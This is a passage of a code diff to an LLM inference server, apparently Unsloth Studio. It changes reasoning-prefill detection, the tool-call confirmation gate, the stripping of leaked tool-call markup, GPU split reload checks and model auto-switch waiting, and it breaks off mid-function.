-        and "<|tool_call>" not in chat_template
+        and isinstance(feature_template, str)
+        and not any(m in feature_template for m in _PARSER_MARKERS)
+        and not _BARE_JSON_NAME_MARKER_RE.search(feature_template)
     ):
         logger.info(
             "safetensors: template advertises tools but uses an "
@@ -1335,6 +2018,87 @@ def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict:
     return flags
 
 
+def _generation_prompt_opens_think(template: Optional[str]) -> bool:
+    """True when rendering the template's generation prompt ends INSIDE an unclosed ``<think>``.
+
+    Distinguishes templates that PREFILL an open ``<think>`` in the assistant generation
+    prompt (DeepSeek-R1, QwQ, Qwen3-Thinking) -- where the model emits only the closing
+    ``</think>`` and the extractor must start in reasoning mode -- from templates that merely
+    render PAST assistant ``<think>...</think>`` history while leaving the generation prompt
+    open with no ``<think>`` (e.g. Kimi-K2-Thinking), where the model self-emits its own block
+    and the extractor must start in normal mode. Renders a single-user-message probe with the
+    same sandbox transformers uses; on any failure returns True, preserving the historical
+    always-on prefill for templates that cannot be rendered here.
+    """
+    if not template:
+        return False
+    try:
+        from jinja2.sandbox import ImmutableSandboxedEnvironment
+
+        def _raise_exception(message: str):
+            raise RuntimeError(message)
+
+        env = ImmutableSandboxedEnvironment(
+            trim_blocks = True,
+            lstrip_blocks = True,
+            extensions = ["jinja2.ext.loopcontrols"],
+        )
+        env.filters["tojson"] = lambda value, **kwargs: json.dumps(value, ensure_ascii = False)
+        env.globals["raise_exception"] = _raise_exception
+        rendered = env.from_string(template).render(
+            messages = [{"role": "user", "content": "hi"}],
+            add_generation_prompt = True,
+            bos_token = "",
+            eos_token = "",
+        )
+    except Exception:
+        return True
+    # ``<think>`` is not a substring of ``</think>`` (the ``/`` breaks it), so the last open
+    # tag sitting after the last close tag means the prompt ends inside an open block.
+    return rendered.rfind("<think>") > rendered.rfind("</think>")
+
+
+def _sf_reasoning_prefill_mode(
+    features: dict,
+    enable_thinking: Optional[bool],
+    template: Optional[str] = None,
+    reasoning_effort: Optional[str] = None,
+) -> bool:
+    """Whether a safetensors/MLX generation begins INSIDE an unclosed ``<think>``.
+
+    ``enable_thinking`` templates (Qwen3/GLM) prefill an open ``<think>`` so the model
+    emits only the closing ``</think>``, and the extractor must start in reasoning mode.
+    Gated on the STANDARD ``<think>``/``</think>`` markers: bespoke channels (gemma's
+    ``<|think|>``) never emit ``</think>`` and would swallow the answer, so they and
+    gpt-oss and thinking-disabled requests return False. ``enable_thinking`` None
+    defaults thinking ON, so a plain request still prefills.
+    """
+    if features.get("reasoning_style") not in ("enable_thinking", "enable_thinking_effort"):
+        return False
+    tpl = template or ""
+    if "</think>" not in tpl and "<think>" not in tpl:
+        return False
+    if features.get("reasoning_always_on"):
+        # enable_thinking_effort + always-on: the effort mechanism (not the prompt shape) keeps
+        # thinking on, so always-on wins over reasoning_effort and we prefill.
+        if features.get("reasoning_style") == "enable_thinking_effort":
+            return True
+        # ``reasoning_always_on`` fires on paired ``<think>...</think>`` anywhere in the
+        # template, including markup that only renders PAST assistant history (Kimi-K2-Thinking)
+        # while the generation prompt opens none. Prefill only when the generation prompt opens
+        # one, else the extractor captures a normal answer as reasoning_content and returns blank.
+        return _generation_prompt_opens_think(tpl)
+    if not features.get("supports_reasoning"):
+        return False
+    if enable_thinking is False:
+        return False
+    # Thinking-off arrives as reasoning_effort "none" on enable_thinking_effort models; honor it
+    # so we don't prefill and capture the answer. Plain enable_thinking models ignore effort.
+    if features.get("reasoning_style") == "enable_thinking_effort" and reasoning_effort == "none":
+        return False
+    return True
+
+
 def _effective_enable_tools(payload) -> Optional[bool]:
     """Resolve `payload.enable_tools` against the process-level tool policy.
 
@@ -1347,6 +2111,73 @@ def _effective_enable_tools(payload) -> Optional[bool]:
     return policy if policy is not None else payload.enable_tools
 
 
+def _explicit_studio_tool_loop_requested(payload) -> bool:
+    """True when the request itself asks Unsloth to execute local tools.
+
+    Process-wide CLI policy can default Unsloth's tool loop on for ordinary chat,
+    but it must not steal OpenAI-compatible client tools or response_format
+    requests from the llama-server passthrough path. A policy of ``False``
+    (--disable-tools) vetoes even an explicit ``enable_tools: true`` ask.
+    """
+    from state.tool_policy import get_tool_policy
+
+    policy = get_tool_policy()
+    return policy is not False and (payload.enable_tools is True or bool(payload.mcp_enabled))
+
+
+def _permission_mode_confirm(payload) -> bool:
+    """Effective confirm-gate intent for Unsloth's own local tool loop.
+
+    Honors the documented default that an unset permission_mode behaves as
+    "ask". An explicit confirm_tool_calls (True or False) wins; explicit
+    ask/auto always engage the gate (a non-streaming one is then rejected, since
+    it cannot prompt); off/full never prompt. An unset mode defaults to ask, but
+    that is only realizable on a streaming request, so a non-streaming unset
+    request keeps the legacy run-without-gate behavior instead of 400ing. Used
+    at the pre-switch guard and the per-backend tool paths so a forced tool loop
+    (CLI --enable-tools) with the default mode still gates streaming requests.
+    """
+    if payload.confirm_tool_calls is not None:
+        return bool(payload.confirm_tool_calls)
+    mode = getattr(payload, "permission_mode", None)
+    if mode in ("ask", "auto"):
+        return True
+    if mode in ("off", "full"):
+        return False
+    return bool(getattr(payload, "stream", False))
+
+
+def _confirm_gate_needs_stream(payload) -> bool:
+    """Whether Unsloth's local tool-loop confirm gate still requires stream=true.
+
+    The gate can only prompt while streaming, so a non-streaming request that will
+    prompt must 400 up front. auto ("Approve for me") only prompts for a call the
+    classifier flags, so an auto request whose confirm is derived from the mode
+    (not an explicit confirm_tool_calls=true) and whose selectable tools are all
+    always-safe (web_search / RAG) never prompts and needs no stream. ask,
+    an explicit confirm flag, MCP tools, and an unrestricted or unsafe selection
+    still require streaming.
+    """
+    if not _permission_mode_confirm(payload):
+        return False
+    if getattr(payload, "permission_mode", None) != "auto":
+        return True
+    if payload.confirm_tool_calls is True:
+        return True
+    if getattr(payload, "mcp_enabled", False):
+        return True
+    enabled = getattr(payload, "enabled_tools", None)
+    if enabled is None:
+        return True  # omitted enabled_tools resolves to ALL tools (incl. terminal/python)
+    if not enabled:
+        # An explicit empty selection runs no built-in tool (_select_request_tools
+        # skips the loop), so there is nothing to prompt and no stream is needed.
+        return False
+    from core.inference.tools import is_always_safe_tool
+
+    return not all(is_always_safe_tool(t) for t in enabled)
+
+
 # Cancel registry. Proxies (e.g. Colab) can swallow client fetch aborts so
 # is_disconnected() never fires. POST /inference/cancel looks up in-flight
 # cancel_events here by cancel_id (per-run) or session_id / completion_id
@@ -1487,6 +2318,39 @@ async def _await_disconnect_then_cancel(request, cancel_event) -> None:
         return
 
 
+def _cancelable_nonstreaming_client() -> httpx.AsyncClient:
+    return httpx.AsyncClient(
+        limits = httpx.Limits(max_connections = 1, max_keepalive_connections = 0),
+        trust_env = False,
+    )
+
+
+async def _await_cancel_or_disconnect_then_close_client(
+    *, cancel_event, request: Optional[Request], client: httpx.AsyncClient
+) -> None:
+    """Close a dedicated non-streaming upstream client on cancel/disconnect.
+
+    The shared ``nonstreaming_client()`` is pooled, so cancelable generation calls
+    use a per-request client. Closing it interrupts a blocked llama-server
+    request without affecting unrelated pooled non-streaming calls.
+    """
+    try:
+        while True:
+            if cancel_event is not None and cancel_event.is_set():
+                break
+            if request is not None and await request.is_disconnected():
+                if cancel_event is not None:
+                    cancel_event.set()
+                break
+            await asyncio.sleep(0.1)
+        try:
+            await client.aclose()
+        except Exception:
+            pass
+    except asyncio.CancelledError:
+        return
+
+
 async def _stop_local_disconnect_cancel_watcher(watcher) -> None:
     watcher.cancel()
     try:
@@ -1495,6 +2359,36 @@ async def _stop_local_disconnect_cancel_watcher(watcher) -> None:
         pass
 
 
+async def _drain_pending_next_task(task, cancel_event) -> None:
+    """Wait for a pending ``asyncio.to_thread(next, gen, ...)`` task to finish
+    before its generator is closed.
+
+    On disconnect a ``next(gen)`` call may still run in a worker thread;
+    cancelling the awaiting task does NOT stop it, and ``gen.close()`` mid-
+    ``next(gen)`` raises ``ValueError: generator already executing``, leaking the
+    generator's cleanup. So re-set the cancel flag (the generator polls it) and
+    shield the task until the worker returns. No-op when there is no pending task.
+    """
+    if task is None:
+        return
+    if cancel_event is not None:
+        cancel_event.set()
+    while not task.done():
+        try:
+            await asyncio.shield(task)
+        except asyncio.CancelledError:
+            if cancel_event is not None:
+                cancel_event.set()
+            continue
+        except Exception:
+            break
+    if task.done():
+        try:
+            task.exception()
+        except (asyncio.CancelledError, Exception):
+            pass
+
+
 # Centralized local/server tool nudge. Keep render_html guidance gated to turns
 # where the canvas tool is actually present in the tool schema; otherwise
 # small local models can hallucinate a missing tool call instead of following
@@ -1605,30 +2499,155 @@ def _apply_rag_nudge(nudge: str, tools: list[dict], *, rag_scope) -> str:
     return nudge + " " + _RAG_GROUNDING_NUDGE
 
 
-# Strip tool-call XML the speculative buffer in core/inference/llama_cpp.py
-# split across the visible/DRAIN boundary. Four leak shapes:
+# Strip leaked tool-call markup: every shared-parser format plus the leak shapes
+# llama_cpp.py's speculative buffer splits across the visible/DRAIN boundary:
 #   1. well-formed `<tool_call>...</tool_call>` / `<function=...>...</function>`
 #   2. orphan opening to EOF (close was DRAINED)
 #   3. bare orphan close (open was DRAINED)
 #   4. tail-only `</parameter>` (outer close truncated by EOS); anchored to
 #      `\Z` so mid-text `<parameter>` in user code samples survives.
+#   5. Mistral `[TOOL_CALLS]name{json}` / rehearsal `name[ARGS]{json}`: the balanced
+#      scan removes the whole call (a non-greedy regex would truncate nested JSON).
+# DeepSeek/GLM/Kimi envelopes are covered by the parser's own arms/scans, so a signal
+# we parse is never left un-stripped; the DeepSeek opener alternation is the parser's own.
+from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC
+
 _TOOL_XML_RE = _re.compile(
-    # Hyphen in the name char-class matches MCP tool names with dashes
-    # (mcp__srv__list-issues) that would otherwise leak past this strip.
-    r"<(?:tool_call|function=[\w-]+)>.*?(?:</(?:tool_call|function)>|\Z)"
+    # Arm order/notes: the closed ``<function=...>`` arm runs first and extends
+    # to the call's REAL close so a literal ``</function>`` in a value does not
+    # leak the tail; the combined arm still catches ``<tool_call>`` and orphan
+    # tails. The python_tag arm bounds only on REAL Llama control sentinels
+    # (stopping at any ``<|`` truncated on literal ``<|x|>`` tokens in values).
+    # The last arms cover DeepSeek envelopes (all opener variants), Kimi section
+    # blocks, and bare Kimi calls. Name class ``[\w.\-]`` mirrors the parser.
+    # Those three arms carry a call-shaped lookahead (matching the parser's
+    # ``_TOOL_ALL_PATS``): a prose answer that merely mentions a marker
+    # (``See <|tool_call_begin|> in the docs``) is only stripped when a real
+    # call actually follows the marker, or the marker is a bare fragment at EOF.
+    r'<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>(?:(?!<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>).)*</function>'
+    r'|<(?:tool_call|function(?:=[\w.\-]+|\s+name="[\w.\-]+"))>.*?(?:</(?:tool_call|function)>|\Z)'
     r"|<\|tool_call>.*?(?:<tool_call\|>|\Z)"
     r"|</(?:tool_call|function)>"
     r"|<tool_call\|>"
-    r"|</parameter>\s*\Z",
+    r"|<\|python_tag\|>(?:[^<]|<(?!\|(?:eot_id|eom_id|python_tag|start_header_id|end_header_id|begin_of_text|finetune_right_pad_id)\|))*"
+    r"|\[/TOOL_CALLS\]"
+    # Truncated canonical array (closing ``]`` lost to EOS): the balanced scan cannot remove
+    # it, so strip its tail here.
+    r"|\[TOOL_CALLS\]\s*\[.*\Z"
+    # Named / v11 forms and bare rehearsal; arms aligned with the parser regexes.
+    r"|\[TOOL_CALLS\]\s*[\w-]+(?:\[CALL_ID\][\w-]+)?(?:\[ARGS\])?\s*(?:\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}|.*?\Z)"
+    # Rehearsal: balanced/truncated body or bare marker at EOS only (prose ``foo[ARGS]``
+    # survives); NAME captured as ``reh`` for the inactive-name display gate.
+    r"|(?<!\[CALL_ID\])\b(?P<reh>[\w-]+)\[ARGS\]\s*(?:\{[^{}]*(?:\{[^{}]*\}[^{}]*)*\}|\{.*\Z|\Z)"
+    # DeepSeek envelopes (all opener variants), Kimi section blocks, and bare Kimi calls;
+    # each arm carries a call-shaped lookahead so prose merely mentioning a marker survives.
+    r"|"
+    + _DS_OPEN_SRC
+    + r"(?=\s*(?:<｜tool▁call▁begin｜>|function)|\s*$).*?(?:<｜tool▁calls▁end｜>|\Z)"
+    r"|<\|tool_calls_section_begin\|>(?=\s*<\|tool_call_begin\|>|\s*$).*?(?:<\|tool_calls_section_end\|>|\Z)"
+    r"|<\|tool_call_begin\|>(?=\s*[A-Za-z_][\w.\-]*:\d|\s*$).*?(?:<\|tool_call_end\|>|\Z)"
+    # ``</param>`` is the attribute-form alias of ``</parameter>`` (the parser accepts
+    # both); strip a tail-only orphan close of either spelling.
+    r"|</(?:parameter|param)>\s*\Z",
+    _re.DOTALL,
+)
+
+# Closed-only variant for segments before the last think block: the ``\Z``-anchored arms
+# would treat a segment boundary as EOS and strip prose ``foo[ARGS]``.
+_TOOL_XML_CLOSED_RE = _re.compile(
+    r"<(?:tool_call|function=[\w-]+)>.*?</(?:tool_call|function)>"
+    r"|<\|tool_call>.*?<tool_call\|>"
+    r"|</(?:tool_call|function)>"
+    r"|<tool_call\|>"
+    r"|\[/TOOL_CALLS\]",
     _re.DOTALL,
 )
 
 
-def _strip_tool_xml_for_display(text: str, *, auto_heal_tool_calls: bool) -> str:
-    """Apply route-level XML leak cleanup only when Auto-Heal is enabled."""
+def _gemma_strip_gate(tools) -> set:
+    """Enabled tool NAMES gating the wrapper-less Gemma strip (mirrors the
+    parser/loop gate: only an enabled ``call:foo{...}`` is a call). With NO tools
+    enabled this returns an EMPTY set, not ``None``: every ``call:NAME{...}`` is
+    then prose, and ``None`` would strip-all and delete a legitimate answer."""
+    names = {
+        (t.get("function") or {}).get("name")
+        for t in (tools or [])
+        if isinstance(t, dict) and isinstance(t.get("function"), dict)
+    }
+    names.discard(None)
+    return names
+
+
+def _display_tool_name_gate(active_tools):
+    """Active tool NAMES for gating the rehearsal display strip, or None when no tools
+    are enabled. ``None`` keeps the legacy strip-all behavior, mirroring the loop gate:
+    a bare ``NAME[ARGS]`` is a call only when NAME is active; without a tool list every
+    identifier stays ambiguous, so strip."""
+    names = {
+        (t.get("function") or {}).get("name")
+        for t in (active_tools or [])
+        if isinstance(t, dict) and isinstance(t.get("function"), dict)
+    }
+    names.discard(None)
+    return names or None
+
+
+def _strip_tool_xml_for_display(
+    text: str,
+    *,
+    auto_heal_tool_calls: bool,
+    enabled_tool_names: Optional[set] = None,
+) -> str:
+    """Apply route-level XML leak cleanup only when Auto-Heal is enabled.
+
+    Mirrors the parser-side segment scan: balanced strips first (Mistral, gated Gemma
+    wrapper-less, GLM real-close, guarded function-XML close at each call's REAL terminator
+    so literal markup inside a value is data), then the ``_TOOL_XML_RE`` arms cover the
+    DeepSeek / Kimi / orphan forms. ``<think>`` blocks are preserved verbatim and the
+    ``\\Z``-anchored tail arms run only on the last segment (prose ``foo[ARGS]`` before a
+    block survives). ``enabled_tool_names`` (when not None) gates the ambiguous bare-rehearsal
+    ``NAME[ARGS]{...}`` and wrapper-less Gemma ``call:NAME{...}`` strips on the active tool
+    list; an inactive NAME is prose and is kept. The ``[TOOL_CALLS]`` control-token arms strip
+    unconditionally regardless of NAME."""
     if not auto_heal_tool_calls:
         return text
-    return _TOOL_XML_RE.sub("", text)
+    from core.tool_healing import _strip_bracket_tag_calls, strip_outside_think
+
+    def _keep_inactive_rehearsal(m) -> str:
+        # Only the bare-rehearsal arm captures ``reh``; with a tool list an inactive
+        # NAME[ARGS]{...} is prose -- keep it.
+        if enabled_tool_names is not None:
+            name = m.groupdict().get("reh")
+            if name is not None and name not in enabled_tool_names:
+                return m.group(0)
+        return ""
+
+    def _strip_segment(seg: str, is_last: bool) -> str:
+        # Scan strips close at each call's REAL terminator (a literal ``</function>`` or a
+        # nested marker quoted inside a value cannot truncate the strip); the regex arms below
+        # cover the attribute form and the DeepSeek / Kimi / orphan families.
+        seg = _strip_mistral_closed_calls(seg)
+        seg = _strip_bracket_tag_calls(seg, enabled_tool_names = enabled_tool_names)
+        if is_last:
+            seg = _strip_gemma_wrapperless_calls(seg, enabled_tool_names)
+        seg = _strip_glm_calls(seg, final = is_last)
+        seg = _strip_function_xml_calls(seg, final = is_last)
+        if is_last:
+            return _TOOL_XML_RE.sub(_keep_inactive_rehearsal, seg)
+        return _TOOL_XML_CLOSED_RE.sub("", seg)
+
+    return strip_outside_think(text, _strip_segment)
+
+
+def _strip_tool_xml(text: str, enabled_tool_names: Optional[set] = None) -> str:
+    # Mistral balanced-brace pre-strip (kept explicit so the regression guards see it), then
+    # the shared think-aware display strip -- the one raw _TOOL_XML_RE.sub lives inside
+    # _strip_tool_xml_for_display, so every route cleanup site shares it. ``enabled_tool_names``
+    # gates the Gemma wrapper-less strip; ``None`` strips every closed call.
+    text = _strip_mistral_closed_calls(text)
+    return _strip_tool_xml_for_display(
+        text, auto_heal_tool_calls = True, enabled_tool_names = enabled_tool_names
+    )
 
 
 logger = get_logger(__name__)
@@ -2100,13 +3119,16 @@ def _normalise_settings_str(value: Optional[str]) -> Optional[str]:
 
 
 def _should_strip_split_mode(request: LoadRequest, backend_extra: Optional[list[str]]) -> bool:
-    """Whether an inherited --split-mode should be stripped on reload.
+    """Whether an inherited --split-mode (and its coupled --tensor-split) should
+    be stripped on reload.
 
     The binary Tensor Parallelism toggle can't carry --split-mode's row/none/
     layer modes, so only strip when the toggle overrides it: tensor being turned
     on, or the inherited mode is tensor (toggle turning it off). Non-tensor modes
-    survive. Shared by the inheritance strip and the already-loaded stale check
-    so they agree on what reload would do.
+    survive. A manual per-GPU ratio is handled by _should_strip_tensor_split,
+    which strips only --tensor-split so the inherited mode is kept. Shared by the
+    inheritance strip and the already-loaded stale check so they agree on what
+    reload would do.
     """
     fields_set = getattr(request, "model_fields_set", set())
     return "tensor_parallel" in fields_set and (
@@ -2114,6 +3136,25 @@ def _should_strip_split_mode(request: LoadRequest, backend_extra: Optional[list[
     )
 
 
+def _should_strip_tensor_split(request: LoadRequest) -> bool:
+    """Whether an inherited --tensor-split alone should be stripped on reload.
+
+    Manual explicit offload (gpu_layers >= 0) owns the per-GPU split: with a ratio
+    it emits its own --tensor-split (an inherited one, appended last, would
+    override it), and with the ratio cleared it wants llama.cpp's default
+    free-VRAM split. Either way an inherited --tensor-split must go, else the
+    cleared case silently keeps the stale ratio while status reports None.
+    Unlike _should_strip_split_mode this leaves --split-mode untouched, so a
+    user's row/none/layer mode survives a Studio split-ratio edit. When the
+    Tensor Parallelism toggle IS overriding the mode, _should_strip_split_mode
+    (called alongside this at every site) strips --split-mode anyway.
+    """
+    return (
+        getattr(request, "gpu_memory_mode", "auto") == "manual"
+        and getattr(request, "gpu_layers", -1) >= 0
+    )
+
+
 def _carry_preserved_tensor_intent(
     *, preserved: bool, same_model: bool, explicit_drop: bool
 ) -> bool:
@@ -2128,7 +3169,7 @@ def _is_explicit_tensor_drop(request: LoadRequest) -> bool:
     """True only when the request explicitly selects a non-tensor --split-mode (e.g.
     layer/row/none), a deliberate departure from a preserved tensor->layer fallback.
 
-    A bare tensor_parallel field is NOT a drop: the Studio UI always sends it and echoes
+    A bare tensor_parallel field is NOT a drop: the Unsloth UI always sends it and echoes
     the /load response's resolved value back, so after a fallback every reload carries
     tensor_parallel=false even though the user never changed it -- treating that as a drop
     would collapse the preserved multi-GPU placement on the next ctx/settings reload. An
@@ -2172,12 +3213,44 @@ def _request_matches_loaded_settings(
         else strip_shadowing_flags(
             backend_extra,
             strip_split_mode = _should_strip_split_mode(request, backend_extra),
+            strip_tensor_split = _should_strip_tensor_split(request),
+            strip_offload = request.gpu_memory_mode == "manual",
         )
     )
     if not _tensor_parallel_matches_loaded(
         effective_extra, request.tensor_parallel, llama_backend.tensor_parallel
     ):
         return False
+    # The diffusion runner is mode-agnostic (it always reports "auto" and ignores
+    # the layer/MoE/split knobs), so a standing manual preference in the request
+    # must not force a needless reload -- only the GPU pick matters.
+    if not llama_backend.is_diffusion:
+        if request.gpu_memory_mode != llama_backend.gpu_memory_mode:
+            return False
+        # Manual: a layer-count change always reloads; MoE/split only matter with
+        # an explicit offload (gpu_layers >= 0), so a leftover value under Auto
+        # must not force one. Mirrors LlamaCppBackend._already_in_target_state.
+        if request.gpu_memory_mode == "manual" and (
+            request.gpu_layers != llama_backend.gpu_layers
+            or (
+                request.gpu_layers >= 0
+                and (
+                    request.n_cpu_moe != llama_backend.n_cpu_moe
+                    or (request.tensor_split or None) != (llama_backend.tensor_split or None)
+                )
+            )
+        ):
+            return False
+    # A changed GPU pick must reload. The diffusion runner collapses a multi-GPU
+    # request to its single lowest device (it drives one device only), so the
+    # backend records just that device; compare the request the same way, or a
+    # multi-GPU pick that resolves to the same device needlessly reloads.
+    if llama_backend.is_diffusion:
+        _req_gpu_ids = [sorted(request.gpu_ids)[0]] if request.gpu_ids else None
+    else:
+        _req_gpu_ids = sorted(request.gpu_ids) if request.gpu_ids else None
+    if _req_gpu_ids != llama_backend.gpu_ids:
+        return False
     # Preserved tensor->layer fallback (both report tensor=off, so the check above
     # matches): if the user now explicitly drops tensor intent, reload so placement
     # re-selects instead of keeping the all-GPU mask (#6659). The effective check
@@ -2220,14 +3293,17 @@ def _request_matches_loaded_settings(
     # contain any shadow flag, so the reload path strips them rather than
     # leaving a stale override in effect. (backend_extra computed above.)
     if request.llama_extra_args is None:
-        # Mirror the reload's conditional split-mode strip, so a preserved
-        # non-tensor mode (row/none/layer) isn't seen as stale and doesn't
-        # trigger a needless reload of a healthy server.
+        # Mirror the reload's conditional strips, so a preserved non-tensor mode
+        # (row/none/layer) isn't seen as stale and doesn't trigger a needless
+        # reload of a healthy server, while an inherited offload/ratio flag that
+        # the reload *would* strip is correctly seen as stale.
         if (
             backend_extra
             and strip_shadowing_flags(
                 backend_extra,
                 strip_split_mode = _should_strip_split_mode(request, backend_extra),
+                strip_tensor_split = _should_strip_tensor_split(request),
+                strip_offload = request.gpu_memory_mode == "manual",
             )
             != backend_extra
         ):
@@ -2334,9 +3410,8 @@ async def _acquire_swap_gate() -> None:
         await asyncio.sleep(0.02)
 
 
-# Counts in-flight auto-switch requests per (target, variant). The busy guard
-# subtracts same-target waiters so concurrent requests for one model load once
-# instead of each 409-ing the other.
+# Counts auto-switch requests queued to load each (target, variant). They are not
+# generating, so the drain wait below excludes them from the active inference count.
 _auto_switch_waiters: dict[tuple[str, str], int] = {}
 _auto_switch_waiters_guard = threading.Lock()
 
@@ -2354,35 +3429,31 @@ def _note_switch_waiter(key: tuple[str, str], delta: int) -> None:
             _auto_switch_waiters.pop(key, None)
 
 
-def _same_target_waiters(key: tuple[str, str]) -> int:
+def _switch_waiter_count() -> int:
     with _auto_switch_waiters_guard:
-        return _auto_switch_waiters.get(key, 0)
+        return sum(max(0, count) for count in _auto_switch_waiters.values())
 
 
-# A second waiter map keyed by the raw requested model, registered before the
-# (slow) resolve. The middleware counts a concurrent same-model request as
-# in-flight before it resolves and joins _auto_switch_waiters, so without this
-# the first request would see it as an unrelated request and 409.
-_auto_switch_request_waiters: dict[str, int] = {}
-_auto_switch_request_waiters_guard = threading.Lock()
+async def _wait_for_model_switch_idle(*, current_request_counted: bool) -> None:
+    """Wait until a model replacement cannot interrupt active inference.
 
-
-def _request_waiter_key(requested_model: str) -> str:
-    return requested_model.strip().lower()
-
-
-def _note_request_waiter(key: str, delta: int) -> None:
-    with _auto_switch_request_waiters_guard:
-        n = _auto_switch_request_waiters.get(key, 0) + delta
-        if n > 0:
-            _auto_switch_request_waiters[key] = n
-        else:
-            _auto_switch_request_waiters.pop(key, None)
-
-
-def _same_request_waiters(key: str) -> int:
-    with _auto_switch_request_waiters_guard:
-        return _auto_switch_request_waiters.get(key, 0)
+    The caller holds ``inference_lifecycle_gate``, which prevents new inference
+    from starting while existing requests drain. Auto-switch requests that have
+    resolved their targets are scheduler waiters, not active generations, so
+    exclude them to avoid a queue deadlock.
+    """
+    from core.inference.llama_keepwarm import other_inference_request_count
+    while True:
+        queued_switches = _switch_waiter_count()
+        if current_request_counted and queued_switches > 0:
+            queued_switches -= 1
+        active_others = other_inference_request_count(
+            current_request_counted = current_request_counted,
+            include_pending = False,
+        )
+        if active_others <= queued_switches:
+            return
+        await asyncio.sleep(0.02)
 
 
 def _llama_public_model_id(llama_backend, fallback: Optional[str] = None) -> Optional[str]:
@@ -2472,6 +3543,21 @@ def _automatic_model_load_may_run() -> bool:
     return get_openai_auto_switch_enabled() or get_auto_unload_idle_seconds() > 0
 
 
+def _no_model_loaded_detail(base: str) -> str:
+    """Append a pointer to the opt-in auto-switch toggle to a "no model loaded"
+    error, but only when it's off. Auto-switch (default off) cold-loads a
+    requested downloaded GGUF, so an off toggle is the usual reason a request
+    naming a listed model still 400/503s; surface the fix. With it on the name
+    simply didn't resolve to a local GGUF, so the hint would mislead and is omitted."""
+    from utils.openai_auto_switch_settings import get_openai_auto_switch_enabled
+
+    if get_openai_auto_switch_enabled():
+        return base
+    return base + (
+        " Or enable Model auto-switch (Settings > API) to load a requested model automatically."
+    )
+
+
 async def _maybe_auto_switch_model(
     requested_model: Optional[str],
     fastapi_request: Request,
@@ -2495,7 +3581,6 @@ async def _maybe_auto_switch_model(
     from core.inference.local_model_resolver import resolve_local_gguf
     from core.inference.llama_keepwarm import (
         get_last_unloaded_model,
-        other_inference_request_count,
         inference_lifecycle_gate,
     )
 
@@ -2516,12 +3601,7 @@ async def _maybe_auto_switch_model(
     if not auto_switch_on and get_auto_unload_idle_seconds() <= 0:
         return
 
-    # Register by the raw requested model before resolving (which can be slow):
-    # the middleware already counts a concurrent same-model request as in-flight,
-    # so the busy guard must know it shares this target even while it resolves.
-    request_key = _request_waiter_key(requested_model)
-    _note_request_waiter(request_key, 1)
-    try:
+    async def _resolve_and_switch() -> None:
         # Off the loop: a cold-cache rebuild walks several model dirs + HF caches.
         # With auto-switch off (or an omitted-model reload-only request), skip the
         # resolve so only the reload-stash path runs and no name is ever matched.
@@ -2619,6 +3699,7 @@ async def _maybe_auto_switch_model(
             )
         key = _switch_key(override_id, variant)
         _note_switch_waiter(key, 1)
+        waiter_noted = True
         try:
             async with _auto_switch_lock():
                 # The asyncio lock is per loop; add a process-wide gate so a swap on
@@ -2631,31 +3712,6 @@ async def _maybe_auto_switch_model(
                         if _already_serving():
                             _record_serving_alias()
                             return
-                        # Single slot: refuse a cross-model swap while another inference
-                        # request is active rather than killing its response. Requests
-                        # heading to this same target (by resolved id or raw name) are
-                        # excluded, so concurrent requests for one model load once. A
-                        # pending request is still in the middleware, not generating, so
-                        # it is not counted here.
-                        same_others = max(
-                            _same_target_waiters(key) - 1, _same_request_waiters(request_key) - 1, 0
-                        )
-                        others = other_inference_request_count(
-                            current_request_counted = True, include_pending = False
-                        )
-                        # Not gated on the GGUF being loaded: _load_model_impl also
-                        # tears down an active Unsloth backend before loading a GGUF,
-                        # so refuse whenever any other inference request is in flight.
-                        if others > same_others:
-                            raise HTTPException(
-                                status_code = 409,
-                                detail = openai_error_body(
-                                    "Cannot switch models while another inference request is in progress.",
-                                    status = 409,
-                                    code = "model_switch_busy",
-                                    param = "model",
-                                ),
-                            )
                         # Apply this model's saved launch flags so the swap honors the config.
                         override = get_model_override(override_id)
                         load_kwargs = {"model_path": target_id, "gguf_variant": variant}
@@ -2670,16 +3726,22 @@ async def _maybe_auto_switch_model(
                             LoadRequest(**load_kwargs),
                             fastapi_request,
                             current_subject,
+                            current_request_counted = True,
                         )
                         # Advertise the repo id (not the concrete load path) as the loaded
                         # model's public id and override key for /v1/models and idle stash.
                         get_llama_cpp_backend()._openai_advertised_id = override_id
                 finally:
+                    # Deregister before releasing the gate: otherwise a swap on another
+                    # loop counts this finished request as queued and unloads its model.
+                    _note_switch_waiter(key, -1)
+                    waiter_noted = False
                     _auto_switch_process_lock.release()
         finally:
-            _note_switch_waiter(key, -1)
-    finally:
-        _note_request_waiter(request_key, -1)
+            if waiter_noted:
+                _note_switch_waiter(key, -1)
+
+    await _resolve_and_switch()
 
 
 async def _auto_switch_from_request_body(request: Request, current_subject: str):
@@ -2741,10 +3803,14 @@ def _remote_gguf_companion_bytes(
         info = model_info(repo, token = hf_token, files_metadata = True)
         total = 0
         for sibling in info.siblings or []:
-            base = Path(sibling.rfilename or "").name.lower()
+            name = sibling.rfilename or ""
+            base = Path(name).name.lower()
             if not base.endswith(".gguf"):
                 continue
-            if base.startswith("mtp-") or (include_mmproj and "mmproj" in base):
+            # Root-level mtp- only: -hf auto-fetches the repo-root drafter, not
+            # the MTP/ subdir copies (which now share the mtp- prefix too).
+            is_root_mtp = "/" not in name and base.startswith("mtp-")
+            if is_root_mtp or (include_mmproj and "mmproj" in base):
                 total += getattr(sibling, "size", 0) or 0
         return total
     except Exception as e:
@@ -2827,6 +3893,46 @@ def _estimate_gguf_required_gb(
         return None
 
 
+def _classify_diffusion_gguf(config: ModelConfig) -> Optional[bool]:
+    """Classify a GGUF as diffusion, normal, or unknown before it is loaded.
+
+    ``None`` is important here: a remote GGUF whose header is not cached can
+    still be routed to the single-GPU diffusion runner after download. Treating
+    that case as normal would let Manual mode skip the training guard even
+    though the runner ignores Manual's llama-server placement controls.
+    """
+    identity = " ".join(
+        str(getattr(config, attr, "") or "") for attr in ("identifier", "gguf_hf_repo", "gguf_file")
+    ).lower()
+    if "diffusion" in identity:
+        return True
+
+    try:
+        main = getattr(config, "gguf_file", None)
+        if not (main and Path(main).is_file()):
+            repo = getattr(config, "gguf_hf_repo", None)
+            variant = getattr(config, "gguf_variant", None)
+            if repo and variant:
+                from hub.utils.gguf import resolve_local_gguf_path
+                main = resolve_local_gguf_path(repo, variant)
+        if not main or not Path(main).is_file():
+            return None
+
